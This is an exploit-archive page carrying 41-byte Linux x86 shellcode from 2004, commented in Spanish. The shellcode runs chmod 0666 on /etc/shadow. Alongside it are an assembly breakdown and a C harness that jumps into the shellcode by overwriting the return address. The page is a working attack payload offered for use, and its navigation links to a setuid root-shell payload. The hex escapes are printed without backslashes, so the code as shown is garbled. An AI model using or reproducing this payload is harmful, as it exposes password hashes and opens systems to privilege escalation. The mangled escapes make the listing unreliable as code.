[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/x86 chmod 666 /etc/shadow 41 bytes
# Published : 2004-09-26
# Author : Matias Sedalo
# Previous Title : linux/x86 connect 120 bytes
# Next Title : linux/x86 cp /bin/sh /tmp/katy ; chmod 4555 katy 126 bytes
/*
* s0t4ipv6@shellcode.com.ar
* 0x04abril0x7d2
*
* int sys_chmod(const char * filename, mode_t mode)
* {...}
*
* Utilizando la interrupcion 15(chmod), asignando el octal 0666
* al archivo deseado. En este caso /etc/shadow
*
* Hice unas modificaciones en el codigo y solo pude reducir la shellcode en 1.
* por el codigo mailme.
* "x31xdbx68x64x6fx77x53x68x2fx73x68x61x68x2fx65"
* "x74x63x89xe3x31xc9x88x4cx24x0bx66xb9xb6x01x31"
* "xc0xb0x0fxcdx80x31xc0x40xcdx80";
*
*/
#include <stdio.h>
// Shellcode // Asm Code // Main Interval
char shellcode[]=
"xebx17" // jmp 0x17 [3 ; 4]
"x5e" // popl %esia [5]
"x31xc9" // xorl %ecx, %ecx [6 ; 7]
"x88x4ex0b" // movb %ecx, 0xb(%esi) [8; 10]
"x8dx1e" // leal (%esi), %ebx [11;12]
"x66xb9xb6x01" // movw $0x1b6, %cx // asigno a cx el equivalente en hex al octal 0666
"x31xc0" // xorl %eax, %eax [17;18]
"xb0x0f" // movb $0xf, %al // Interrupcion 15 (chmod)
"xcdx80" // int $0x80 [21;22]
"x31xc0" // xorl %eax, %eax // salida
"x40" // inc %eax [25]
"xcdx80" // int $0x80 [26;27]
"xe8xe4xffxffxff" // call -0x1c
"/etc/shadow";
main() {
int *ret;
ret=(int *)&ret+2;
printf("Shellcode lenght=%dn",strlen(shellcode));
(*ret) = (int)shellcode;
}
// www.Syue.com [2004-09-26]